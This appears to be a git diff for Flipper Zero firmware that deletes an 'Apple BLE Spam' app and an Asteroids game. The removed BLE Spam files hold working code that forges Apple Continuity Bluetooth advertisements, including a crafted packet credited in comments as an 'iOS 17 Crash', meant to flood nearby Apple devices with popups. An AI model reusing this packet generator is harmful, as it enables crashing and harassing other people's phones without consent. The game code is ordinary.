1, - PAYLOAD_COUNT, - continuity_get_type_name(payload->msg.type)); - canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str); - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 4, 32, payload->title); - - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 4, 46, payload->text); - - elements_button_center(canvas, state->advertising ? "Stop" : "Start"); - break; - } - } - - if(state->index > PAGE_MIN) { - elements_button_left(canvas, back); - } - if(state->index < PAGE_MAX) { - elements_button_right(canvas, next); - } -} - -static void input_callback(InputEvent* input, void* ctx) { - FuriMessageQueue* input_queue = ctx; - if(input->type == InputTypeShort || input->type == InputTypeLong || - input->type == InputTypeRepeat) { - furi_message_queue_put(input_queue, input, 0); - } -} - -int32_t apple_ble_spam(void* p) { - UNUSED(p); - for(uint8_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) { - if(payloads[payload_i].random) continue; - randoms[payloads[payload_i].msg.type].count++; - } - for(ContinuityType type = 0; type < ContinuityTypeCount; type++) { - if(!randoms[type].count) continue; - randoms[type].datas = malloc(sizeof(ContinuityData*) * randoms[type].count); - uint8_t random_i = 0; - for(uint8_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) { - if(payloads[payload_i].random) continue; - if(payloads[payload_i].msg.type == type) { - randoms[type].datas[random_i++] = &payloads[payload_i].msg.data; - } - } - } - - State* state = malloc(sizeof(State)); - state->thread = furi_thread_alloc(); - furi_thread_set_callback(state->thread, adv_thread); - furi_thread_set_context(state->thread, state); - furi_thread_set_stack_size(state->thread, 2048); - - FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - ViewPort* view_port = view_port_alloc(); - Gui* gui = furi_record_open(RECORD_GUI); - view_port_input_callback_set(view_port, input_callback, input_queue); - view_port_draw_callback_set(view_port, draw_callback, state); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - bool running = true; - while(running) { - InputEvent input; - furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk); - - Payload* payload = (state->index >= 0 && state->index <= PAYLOAD_COUNT - 1) ? - &payloads[state->index] : - NULL; - bool advertising = state->advertising; - switch(input.key) { - case InputKeyOk: - if(payload) toggle_adv(state, payload); - break; - case InputKeyUp: - if(payload && state->delay < COUNT_OF(delays) - 1) { - if(advertising) stop_adv(state); - state->delay++; - if(advertising) start_adv(state); - } - break; - case InputKeyDown: - if(payload && state->delay > 0) { - if(advertising) stop_adv(state); - state->delay--; - if(advertising) start_adv(state); - } - break; - case InputKeyLeft: - if(state->index > PAGE_MIN) { - if(advertising) toggle_adv(state, payload); - state->index--; - } - break; - case InputKeyRight: - if(state->index < PAGE_MAX) { - if(advertising) toggle_adv(state, payload); - state->index++; - } - break; - case InputKeyBack: - if(advertising) toggle_adv(state, payload); - running = false; - break; - default: - continue; - } - - view_port_update(view_port); - } - - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - view_port_free(view_port); - furi_message_queue_free(input_queue); - - furi_thread_free(state->thread); - free(state); - - for(ContinuityType type = 0; type < ContinuityTypeCount; type++) { - free(randoms[type].datas); - } - return 0; -} diff --git a/applications/external/apple_ble_spam/application.fam b/applications/external/apple_ble_spam/application.fam deleted file mode 100644 index 4aa508e98..000000000 --- a/applications/external/apple_ble_spam/application.fam +++ /dev/null @@ -1,20 +0,0 @@ -App( - appid="apple_ble_spam", - name="Apple BLE Spam", - apptype=FlipperAppType.EXTERNAL, - entry_point="apple_ble_spam", - requires=["gui"], - stack_size=2 * 1024, - fap_icon="icons/apple_10px.png", - fap_category="Bluetooth", - fap_icon_assets="icons", - fap_private_libs=[ - Lib( - name="continuity", - ), - ], - fap_author="@Willy-JL & @ECTO-1A", - fap_weburl="https://github.com/Flipper-XFW/Xtreme-Firmware/tree/dev/applications/external/apple_ble_spam", - fap_version="1.2", - fap_description="Spam Apple devices with annoying popups and notifications via BLE packets", -) diff --git a/applications/external/apple_ble_spam/icons/apple_10px.png b/applications/external/apple_ble_spam/icons/apple_10px.png deleted file mode 100644 index 5bcf5eeb2..000000000 Binary files a/applications/external/apple_ble_spam/icons/apple_10px.png and /dev/null differ diff --git a/applications/external/apple_ble_spam/lib/continuity/continuity.c b/applications/external/apple_ble_spam/lib/continuity/continuity.c deleted file mode 100644 index 3e3616fb4..000000000 --- a/applications/external/apple_ble_spam/lib/continuity/continuity.c +++ /dev/null @@ -1,165 +0,0 @@ -#include "continuity.h" -#include -#include - -// Hacked together by @Willy-JL -// Custom adv logic by @Willy-JL (idea by @xMasterX) -// iOS 17 Crash by @ECTO-1A -// Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A -// Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/ -// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/ -// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam - -static const char* continuity_type_names[ContinuityTypeCount] = { - [ContinuityTypeAirDrop] = "AirDrop", - [ContinuityTypeProximityPair] = "Proximity Pair", - [ContinuityTypeAirplayTarget] = "Airplay Target", - [ContinuityTypeHandoff] = "Handoff", - [ContinuityTypeTetheringSource] = "Tethering Source", - [ContinuityTypeNearbyAction] = "Nearby Action", - [ContinuityTypeNearbyInfo] = "Nearby Info", - [ContinuityTypeCustomCrash] = "Custom Packet", -}; -const char* continuity_get_type_name(ContinuityType type) { - return continuity_type_names[type]; -} - -#define HEADER_LEN (6) // 1 Length + 1 ? + 2 Company ID + 1 Continuity Type + 1 Continuity Length -static uint8_t continuity_packet_sizes[ContinuityTypeCount] = { - [ContinuityTypeAirDrop] = HEADER_LEN + 18, - [ContinuityTypeProximityPair] = HEADER_LEN + 25, - [ContinuityTypeAirplayTarget] = HEADER_LEN + 6, - [ContinuityTypeHandoff] = HEADER_LEN + 14, - [ContinuityTypeTetheringSource] = HEADER_LEN + 6, - [ContinuityTypeNearbyAction] = HEADER_LEN + 5, - [ContinuityTypeNearbyInfo] = HEADER_LEN + 5, - [ContinuityTypeCustomCrash] = HEADER_LEN + 11, -}; -uint8_t continuity_get_packet_size(ContinuityType type) { - return continuity_packet_sizes[type]; -} - -void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) { - uint8_t size = continuity_get_packet_size(msg->type); - uint8_t i = 0; - - packet[i++] = size - 1; // Packet Length - packet[i++] = 0xFF; // Packet Type (Manufacturer Specific) - packet[i++] = 0x4C; // Packet Company ID (Apple, Inc.) - packet[i++] = 0x00; // ... - packet[i++] = msg->type; // Continuity Type - packet[i] = size - i - 1; // Continuity Length - i++; - - switch(msg->type) { - case ContinuityTypeAirDrop: - packet[i++] = 0x00; // Zeros - packet[i++] = 0x00; // ... - packet[i++] = 0x00; // ... - packet[i++] = 0x00; // ... - packet[i++] = 0x00; // ... - packet[i++] = 0x00; // ... - packet[i++] = 0x00; // ... - packet[i++] = 0x00; // ... - packet[i++] = 0x01; // Version - packet[i++] = (rand() % 256); // AppleID - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // Phone Number - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // Email - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // Email2 - packet[i++] = (rand() % 256); // ... - packet[i++] = 0x00; // Zero - break; - - case ContinuityTypeProximityPair: - packet[i++] = msg->data.proximity_pair.prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05) - packet[i++] = msg->data.proximity_pair.model >> 8; - packet[i++] = msg->data.proximity_pair.model & 0xFF; - packet[i++] = 0x55; // Status - packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level - packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level - packet[i++] = (rand() % 256); // Lid Open Counter - packet[i++] = 0x00; // Device Color - packet[i++] = 0x00; - furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload - i += 16; - break; - - case ContinuityTypeAirplayTarget: - packet[i++] = (rand() % 256); // Flags - packet[i++] = (rand() % 256); // Configuration Seed - packet[i++] = (rand() % 256); // IPv4 Address - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - break; - - case ContinuityTypeHandoff: - packet[i++] = 0x01; // Version - packet[i++] = (rand() % 256); // Initialization Vector - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // AES-GCM Auth Tag - packet[i++] = (rand() % 256); // Encrypted Payload - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - break; - - case ContinuityTypeTetheringSource: - packet[i++] = 0x01; // Version - packet[i++] = (rand() % 256); // Flags - packet[i++] = (rand() % 101); // Battery Life - packet[i++] = 0x00; // Cell Service Type - packet[i++] = (rand() % 8); // ... - packet[i++] = (rand() % 5); // Cell Service Strength - break; - - case ContinuityTypeNearbyAction: - packet[i] = msg->data.nearby_action.flags; // Action Flags - if(packet[i] == 0xBF && rand() % 2) packet[i]++; // Ugly hack to shift 0xBF-0xC0 for spam - i++; - packet[i++] = msg->data.nearby_action.type; - furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag - i += 3; - break; - - case ContinuityTypeNearbyInfo: - packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code - packet[i++] = (rand() % 256); // Status Flags - packet[i++] = (rand() % 256); // Authentication Tag - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - break; - - case ContinuityTypeCustomCrash: - // Found by @ECTO-1A - - i -= 2; // Override segment header - packet[i++] = ContinuityTypeNearbyAction; // Type - packet[i++] = 0x05; // Length - packet[i++] = 0xC1; // Action Flags - const uint8_t types[] = {0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0}; - packet[i++] = types[rand() % COUNT_OF(types)]; // Action Type - furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag - i += 3; - - packet[i++] = 0x00; // ??? - packet[i++] = 0x00; // ??? - - packet[i++] = ContinuityTypeNearbyInfo; // Type ??? - furi_hal_random_fill_buf(&packet[i], 3); // Shenanigans (Length + IDK) ??? - i += 3; - break; - - default: - break; - } -} diff --git a/applications/external/apple_ble_spam/lib/continuity/continuity.h b/applications/external/apple_ble_spam/lib/continuity/continuity.h deleted file mode 100644 index d582df761..000000000 --- a/applications/external/apple_ble_spam/lib/continuity/continuity.h +++ /dev/null @@ -1,59 +0,0 @@ -#pragma once - -#include -#include - -// Hacked together by @Willy-JL -// Custom adv logic by @Willy-JL (idea by @xMasterX) -// iOS 17 Crash by @ECTO-1A -// Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A -// Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/ -// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/ -// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam - -typedef enum { - ContinuityTypeAirDrop = 0x05, - ContinuityTypeProximityPair = 0x07, - ContinuityTypeAirplayTarget = 0x09, - ContinuityTypeHandoff = 0x0C, - ContinuityTypeTetheringSource = 0x0E, - ContinuityTypeNearbyAction = 0x0F, - ContinuityTypeNearbyInfo = 0x10, - - ContinuityTypeCustomCrash, - ContinuityTypeCount -} ContinuityType; - -typedef union { - struct { - } airdrop; - struct { - uint8_t prefix; - uint16_t model; - } proximity_pair; - struct { - } airplay_target; - struct { - } handoff; - struct { - } tethering_source; - struct { - uint8_t flags; - uint8_t type; - } nearby_action; - struct { - } nearby_info; - struct { - } custom_crash; -} ContinuityData; - -typedef struct { - ContinuityType type; - ContinuityData data; -} ContinuityMsg; - -const char* continuity_get_type_name(ContinuityType type); - -uint8_t continuity_get_packet_size(ContinuityType type); - -void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet); diff --git a/applications/external/asteroids/LICENSE b/applications/external/asteroids/LICENSE deleted file mode 100644 index 2d8a8a74d..000000000 --- a/applications/external/asteroids/LICENSE +++ /dev/null @@ -1,24 +0,0 @@ -Copyright (c) 2022-2023 Salvatore Sanfilippo - -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, - this list of conditions and the following disclaimer. - -* Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON -ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/applications/external/asteroids/app.c b/applications/external/asteroids/app.c deleted file mode 100644 index 4f840b1b6..000000000 --- a/applications/external/asteroids/app.c +++ /dev/null @@ -1,1292 +0,0 @@ -/* Copyright (C) 2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "asteroids_icons.h" -#include - -#define TAG "Asteroids" // Used for logging -#define DEBUG_MSG 0 -#define SCREEN_XRES 128 -#define SCREEN_YRES 64 -#define GAME_START_LIVES 3 -#define MAXLIVES 5 /* Max bonus lives allowed. */ -#define TTLBUL 30 /* Bullet time to live, in ticks. */ -#define MAXBUL 50 /* Max bullets on the screen. */ -//@todo MAX Asteroids -#define MAXAST 32 /* Max asteroids on the screen. */ -#define MAXPOWERUPS 3 /* Max powerups allowed on screen */ -#define POWERUPSTTL 400 /* Max powerup time to live, in ticks. */ -#define SHIP_HIT_ANIMATION_LEN 15 -#define SAVING_FILENAME APP_DATA_PATH("game_asteroids.save") -#ifndef PI -#define PI 3.14159265358979f -#endif - -/* ============================ Data structures ============================= */ -typedef enum PowerUpType { - PowerUpTypeShield, // Shield - PowerUpTypeLife, // Extra life - PowerUpTypeFirePower, // Burst Fire power - // PowerUpTypeRadialFire, // Radial Fire power - PowerUpTypeNuke, // Nuke power - // PowerUpTypeClone, // Clone ship - // PowerUpTypeAssist, // Secondary ship - Number_of_PowerUps // Used to count the number of powerups -} PowerUpType; - -// struct PowerUp -typedef struct PowerUp { - float x, y, vx, vy; /* Fields like in ship. */ - // rot, /* Fields like ship. */ - // rot_speed, /* Angular velocity (rot speed and sense). */ - float size; /* Power Up size */ - - uint32_t ttl; /* Time to live, in ticks. */ - uint32_t display_ttl; /* How long to display the powerup before it disappears */ - enum PowerUpType powerUpType; /* PowerUp type */ - bool isPowerUpActive; /* Is the powerup active? */ -} PowerUp; - -typedef struct Ship { - float x, /* Ship x position. */ - y, /* Ship y position. */ - vx, /* x velocity. */ - vy, /* y velocity. */ - rot; /* Current rotation. 2*PI full ortation. */ -} Ship; - -typedef struct Bullet { - float x, y, vx, vy; /* Fields like in ship. */ - uint32_t ttl; /* Time to live, in ticks. */ -} Bullet; - -typedef struct Asteroid { - float x, y, vx, vy, rot, /* Fields like ship. */ - rot_speed, /* Angular velocity (rot speed and sense). */ - size; /* Asteroid size. */ - uint8_t shape_seed; /* Seed to give random shape. */ -} Asteroid; - -// @todo AsteroidsApp -typedef struct AsteroidsApp { - /* GUI */ - Gui* gui; - ViewPort* view_port; /* We just use a raw viewport and we render - everything into the low level canvas. */ - FuriMessageQueue* event_queue; /* Keypress events go here. */ - - /* Game state. */ - int running; /* Once false exists the app. */ - bool gameover; /* Gameover status. */ - bool paused; /* Game paused status. */ - uint32_t ticks; /* Game ticks. Increments at each refresh. */ - uint32_t score; /* Game score. */ - uint32_t highscore; /* Highscore. Shown on Game Over Screen */ - bool is_new_highscore; /* Is the last score a new highscore? */ - uint32_t lives; /* Number of lives in the current game. */ - uint32_t ship_hit; /* When non zero, the ship was hit by an asteroid - and we need to show an animation as long as - its value is non-zero (and decrease it's value - at each tick of animation). */ - - /* Ship state. */ - struct Ship ship; - struct PowerUp powerUps[MAXPOWERUPS]; /* Each powerup state. */ - int powerUps_num; /* Active powerups. */ - - /* Bullets state. */ - struct Bullet bullets[MAXBUL]; /* Each bullet state. */ - int bullets_num; /* Active bullets. */ - uint32_t last_bullet_tick; /* Tick the last bullet was fired. */ - uint32_t bullet_min_period; /* Minimum time between bullets in ms. */ - - /* Asteroids state. */ - Asteroid asteroids[MAXAST]; /* Each asteroid state. */ - int asteroids_num; /* Active asteroids. */ - - uint32_t pressed[InputKeyMAX]; /* pressed[id] is true if pressed. - Each array item contains the time - in milliseconds the key was pressed. */ - bool fire; /* Short press detected: fire a bullet. */ -} AsteroidsApp; - -const NotificationSequence sequence_thrusters = { - &message_vibro_on, - &message_delay_10, - &message_vibro_off, - NULL, -}; - -const NotificationSequence sequence_brake = { - &message_vibro_on, - &message_delay_10, - &message_delay_1, - &message_delay_1, - &message_vibro_off, - NULL, -}; - -const NotificationSequence sequence_crash = { - &message_red_255, - - &message_vibro_on, - // &message_note_g5, // Play sound but currently disabled - &message_delay_25, - // &message_note_e5, - &message_vibro_off, - &message_sound_off, - NULL, -}; - -const NotificationSequence sequence_bullet_fired = { - &message_vibro_on, - // &message_note_g5, // Play sound but currently disabled. Need On/Off menu setting - &message_delay_10, - &message_delay_1, - &message_delay_1, - &message_delay_1, - &message_delay_1, - &message_delay_1, - - // &message_note_e5, - &message_vibro_off, - &message_sound_off, - NULL, -}; - -const NotificationSequence sequence_powerup_collected = { - &message_vibro_on, - &message_delay_1, - &message_delay_1, - &message_delay_1, - &message_delay_1, - &message_delay_1, - &message_vibro_off, - NULL, -}; - -const NotificationSequence sequence_nuke = { - &message_blink_set_color_red, - &message_blink_start_100, - - &message_vibro_on, - &message_delay_10, - &message_vibro_off, - - &message_vibro_on, - &message_delay_10, - &message_vibro_off, - - &message_vibro_on, - &message_delay_10, - &message_vibro_off, - &message_red_0, - - &message_vibro_on, - &message_delay_10, - &message_delay_1, - &message_delay_1, - &message_vibro_off, - - &message_vibro_on, - &message_delay_10, - &message_delay_1, - &message_delay_1, - &message_vibro_off, - - &message_vibro_on, - &message_delay_10, - &message_delay_1, - &message_delay_1, - &message_vibro_off, - - &message_blink_stop, - &message_vibro_off, - &message_sound_off, - NULL, -}; - -/* ============================== Prototyeps ================================ */ - -// Only functions called before their definition are here. -bool isPowerUpActive(AsteroidsApp* app, enum PowerUpType powerUpType); -bool isPowerUpAlreadyExists(AsteroidsApp* app, enum PowerUpType powerUpType); -bool load_game(AsteroidsApp* app); -void save_game(AsteroidsApp* app); -void restart_game_after_gameover(AsteroidsApp* app); -uint32_t key_pressed_time(AsteroidsApp* app, InputKey key); - -/* ============================ 2D drawing ================================== */ - -/* This structure represents a polygon of at most POLY_MAX points. - * The function draw_poly() is able to render it on the screen, rotated - * by the amount specified. */ -#define POLY_MAX 8 -typedef struct Poly { - float x[POLY_MAX]; - float y[POLY_MAX]; - uint32_t points; /* Number of points actually populated. */ -} Poly; - -/* Define the polygons we use. */ -Poly ShipPoly = {{-3, 0, 3}, {-3, 6, -3}, 3}; - -Poly ShipFirePoly = {{-1.5, 0, 1.5}, {-3, -6, -3}, 3}; - -/* Rotate the point of the poligon 'poly' and store the new rotated - * polygon in 'rot'. The polygon is rotated by an angle 'a', with - * center at 0,0. */ -void rotate_poly(Poly* rot, Poly* poly, float a) { - /* We want to compute sin(a) and cos(a) only one time - * for every point to rotate. It's a slow operation. */ - float sin_a = (float)sin(a); - float cos_a = (float)cos(a); - for(uint32_t j = 0; j < poly->points; j++) { - rot->x[j] = poly->x[j] * cos_a - poly->y[j] * sin_a; - rot->y[j] = poly->y[j] * cos_a + poly->x[j] * sin_a; - } - rot->points = poly->points; -} - -/* This is an 8 bit LFSR we use to generate a predictable and fast - * pseudorandom sequence of numbers, to give a different shape to - * each asteroid. */ -void lfsr_next(unsigned char* prev) { - unsigned char lsb = *prev & 1; - *prev = *prev >> 1; - if(lsb == 1) *prev ^= 0b11000111; - *prev ^= *prev << 7; /* Mix things a bit more. */ -} - -/* ================================ Render ================================ */ - -/* Render the polygon 'poly' at x,y, rotated by the specified angle. */ -void draw_poly(Canvas* const canvas, Poly* poly, uint8_t x, uint8_t y, float a) { - Poly rot; - rotate_poly(&rot, poly, a); - canvas_set_color(canvas, ColorBlack); - for(uint32_t j = 0; j < rot.points; j++) { - uint32_t a = j; - uint32_t b = j + 1; - if(b == rot.points) b = 0; - canvas_draw_line(canvas, x + rot.x[a], y + rot.y[a], x + rot.x[b], y + rot.y[b]); - } -} - -/* A bullet is just a + pixels pattern. A single pixel is not - * visible enough. */ -void draw_bullet(Canvas* const canvas, Bullet* b) { - canvas_draw_dot(canvas, b->x - 1, b->y); - canvas_draw_dot(canvas, b->x + 1, b->y); - canvas_draw_dot(canvas, b->x, b->y); - canvas_draw_dot(canvas, b->x, b->y - 1); - canvas_draw_dot(canvas, b->x, b->y + 1); -} - -/* Draw an asteroid. The asteroid shapes is computed on the fly and - * is not stored in a permanent shape structure. In order to generate - * the shape, we use an initial fixed shape that we resize according - * to the asteroid size, perturbate according to the asteroid shape - * seed, and finally draw it rotated of the right amount. */ -void draw_asteroid(Canvas* const canvas, Asteroid* ast) { - Poly ap; - - /* Start with what is kinda of a circle. Note that this could be - * stored into a template and copied here, to avoid computing - * sin() / cos(). But the Flipper can handle it without problems. */ - uint8_t r = ast->shape_seed; - for(int j = 0; j < 8; j++) { - float a = (PI * 2) / 8 * j; - - /* Before generating the point, to make the shape unique generate - * a random factor between .7 and 1.3 to scale the distance from - * the center. However this asteroid should have its unique shape - * that remains always the same, so we use a predictable PRNG - * implemented by an 8 bit shift register. */ - lfsr_next(&r); - float scaling = .7 + ((float)r / 255 * .6); - - ap.x[j] = (float)sin(a) * ast->size * scaling; - ap.y[j] = (float)cos(a) * ast->size * scaling; - } - ap.points = 8; - draw_poly(canvas, &ap, ast->x, ast->y, ast->rot); -} - -/* Draw small ships in the top-right part of the screen, one for - * each left live. */ -void draw_left_lives(Canvas* const canvas, AsteroidsApp* app) { - int lives = app->lives; - int x = SCREEN_XRES - 5; - - Poly mini_ship = {{-2, 0, 2}, {-2, 4, -2}, 3}; - while(lives--) { - draw_poly(canvas, &mini_ship, x, 6, PI); - x -= 6; - } -} - -bool should_draw_powerUp(PowerUp* const p) { - // Just return if power up has already been picked up - if(p->display_ttl == 0) return false; - - // Begin flashing power up when it is about to expire - if(p->display_ttl < 100) { - return p->display_ttl % 8 > 0; - } - - return true; -} - -void draw_powerUp_RemainingLife(Canvas* canvas, PowerUp* const p, int y_offset) { - if(!p->isPowerUpActive) return; - - /* - Here we generate a reverse progress bar. The bar is 24 pixels wide and 1 pixel tall. - Calculate the percentage of hitpoints left: hitpoints / total hitpoints - Multiply the percentage by the width of the bar (in pixels): percentage * bar width - Subtract the result from the width of the bar to get the filled portion of the bar: bar width - (percentage * bar width) - Round the result to the nearest integer to get the final result. - - 400 / 400 = 1.0 - 1.0 * 24 = 24 - 24 - 24 = 0 - Round(0) = 0 - */ - int progress_bar_width = SCREEN_XRES / 4; - - if(p->ttl > 0) { - canvas_set_color(canvas, ColorBlack); - int remaining = ceil(((float)p->ttl / (float)POWERUPSTTL) * (float)progress_bar_width); - - if(remaining > 0) { - canvas_draw_line( - canvas, - (SCREEN_XRES / 2) - remaining, // x1 - 3 + y_offset, //y1 - (SCREEN_XRES / 2) + remaining, //x2 - 3 + y_offset); // y2 - } - } -} - -void draw_powerUps(Canvas* const canvas, PowerUp* const p) { - /* - - * * * * * * * * * * - * * - * * - * * - * F * - * * - * * - * * - * * - * * * * * * * * * * - - BOX_SIZE = 10 - Box_Width = BOX_SIZE - BOX_HEIGHT = BOX_SIZE - BOX_X_POS = x - BOX_WIDTH/2 - BOX_Y_POS = y - BOX_HEIGHT/2 - POS_F_X = WIDTH/2 - POS_F_Y = HEIGHT/2 - - */ - - //@todo render_callback - - // Just return if power up has already been picked up - // FURI_LOG_I(TAG, "[draw_powerUps] Display TTL: %lu", p->display_ttl); - if(p->display_ttl == 0) return; - if(!should_draw_powerUp(p)) return; - - canvas_set_color(canvas, ColorXOR); - - // Display power up to be picked up - switch(p->powerUpType) { - case PowerUpTypeFirePower: - canvas_draw_icon(canvas, p->x, p->y, &I_firepower_shifted_9x10); - break; - case PowerUpTypeShield: - canvas_draw_icon(canvas, p->x, p->y, &I_shield_frame); - break; - case PowerUpTypeLife: - // Draw a heart - canvas_draw_icon(canvas, p->x, p->y, &I_heart_10x10); - break; - case PowerUpTypeNuke: - // canvas_draw_disc(canvas, p->x, p->y, p->size); - // canvas_draw_str(canvas, p->x, p->y, "N"); - canvas_draw_icon(canvas, p->x, p->y, &I_nuke_10x10); - break; - // case PowerUpTypeRadialFire: - // // Draw box with letter R inside - // canvas_draw_str(canvas, p->x, p->y, "R"); - // break; - // case PowerUpTypeAssist: - // // Draw box with letter A inside - // canvas_draw_str(canvas, p->x, p->y, "A"); - // break; - // case PowerUpTypeClone: - // // Draw box with letter C inside - // canvas_draw_str(canvas, p->x, p->y, "C"); - // break; - default: - //@todo Uknown Power Up Type Detected - // Draw box with letter U inside - canvas_draw_str(canvas, p->x, p->y, "?"); - FURI_LOG_E(TAG, "Unexpected Power Up Type Detected: %i", p->powerUpType); - break; - } -} - -void draw_shield(Canvas* const canvas, AsteroidsApp* app) { - if(isPowerUpActive(app, PowerUpTypeShield) == false) return; - - canvas_set_color(canvas, ColorXOR); - // canvas_draw_disc(canvas, app->ship.x, app->ship.y, 4); - canvas_draw_circle(canvas, app->ship.x, app->ship.y, 8); -} - -/* Render the current game screen. */ -void render_callback(Canvas* const canvas, void* ctx) { - AsteroidsApp* app = ctx; - - /* Clear screen. */ - canvas_set_color(canvas, ColorWhite); - canvas_draw_box(canvas, 0, 0, SCREEN_XRES - 1, SCREEN_YRES - 1); - - /* Draw score. */ - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontSecondary); - char score[32]; - snprintf(score, sizeof(score), "%lu", app->score); - canvas_draw_str(canvas, 0, 8, score); - - /* Draw left ships. */ - draw_left_lives(canvas, app); - - /* Draw ship, asteroids, bullets. */ - draw_poly(canvas, &ShipPoly, app->ship.x, app->ship.y, app->ship.rot); - - /* Draw shield if active. */ - draw_shield(canvas, app); - - if(key_pressed_time(app, InputKeyUp) > 0) { - notification_message(furi_record_open(RECORD_NOTIFICATION), &sequence_thrusters); - draw_poly(canvas, &ShipFirePoly, app->ship.x, app->ship.y, app->ship.rot); - } - - for(int j = 0; j < app->bullets_num; j++) draw_bullet(canvas, &app->bullets[j]); - - for(int j = 0; j < app->asteroids_num; j++) draw_asteroid(canvas, &app->asteroids[j]); - - for(int j = 0; j < app->powerUps_num; j++) { - draw_powerUps(canvas, &app->powerUps[j]); - draw_powerUp_RemainingLife(canvas, &app->powerUps[j], j); - } - - if(app->paused) { - canvas_set_color(canvas, ColorXOR); - canvas_set_font(canvas, FontPrimary); - canvas_draw_rbox(canvas, 0, 0, SCREEN_XRES, SCREEN_YRES, 4); - canvas_draw_str_aligned( - canvas, SCREEN_XRES / 2, SCREEN_YRES / 2, AlignCenter, AlignCenter, "Paused"); - return; - } - - /* Game over text. */ - if(app->gameover) { - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontPrimary); - - // TODO: if new highscore, display blinking "New High Score" - // Display High Score - if(app->is_new_highscore) { - canvas_draw_str(canvas, 22, 9, "New High Score!"); - } else { - canvas_draw_str(canvas, 36, 9, "High Score"); - } - - // Convert highscore to string - int length = snprintf(NULL, 0, "%lu", app->highscore); - char* str_high_score = malloc(length + 1); - snprintf(str_high_score, length + 1, "%lu", app->highscore); - - // Get length to center on screen - int nDigits = 0; - if(app->highscore > 0) { - nDigits = floor(log10(app->highscore)) + 1; - } - - // Draw highscore centered - canvas_draw_str(canvas, (SCREEN_XRES / 2) - (nDigits * 2), 20, str_high_score); - free(str_high_score); - - canvas_draw_str(canvas, 28, 35, "GAME OVER"); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 25, 50, "Press OK to restart"); - } -} - -/* ============================ Game logic ================================== */ - -/* Given the current position, update it according to the velocity and - * wrap it back to the other side if the object went over the screen. */ -void update_pos_by_velocity(float* x, float* y, float vx, float vy) { - /* Return back from one side to the other of the screen. */ - *x += vx; - *y += vy; - if(*x >= SCREEN_XRES) - *x = 0; - else if(*x < 0) - *x = SCREEN_XRES - 1; - if(*y >= SCREEN_YRES) - *y = 0; - else if(*y < 0) - *y = SCREEN_YRES - 1; -} - -float distance(float x1, float y1, float x2, float y2) { - float dx = x1 - x2; - float dy = y1 - y2; - return sqrt(dx * dx + dy * dy); -} - -/* Detect a collision between the object at x1,y1 of radius r1 and - * the object at x2, y2 of radius r2. A factor < 1 will make the - * function detect the collision even if the objects are yet not - * relly touching, 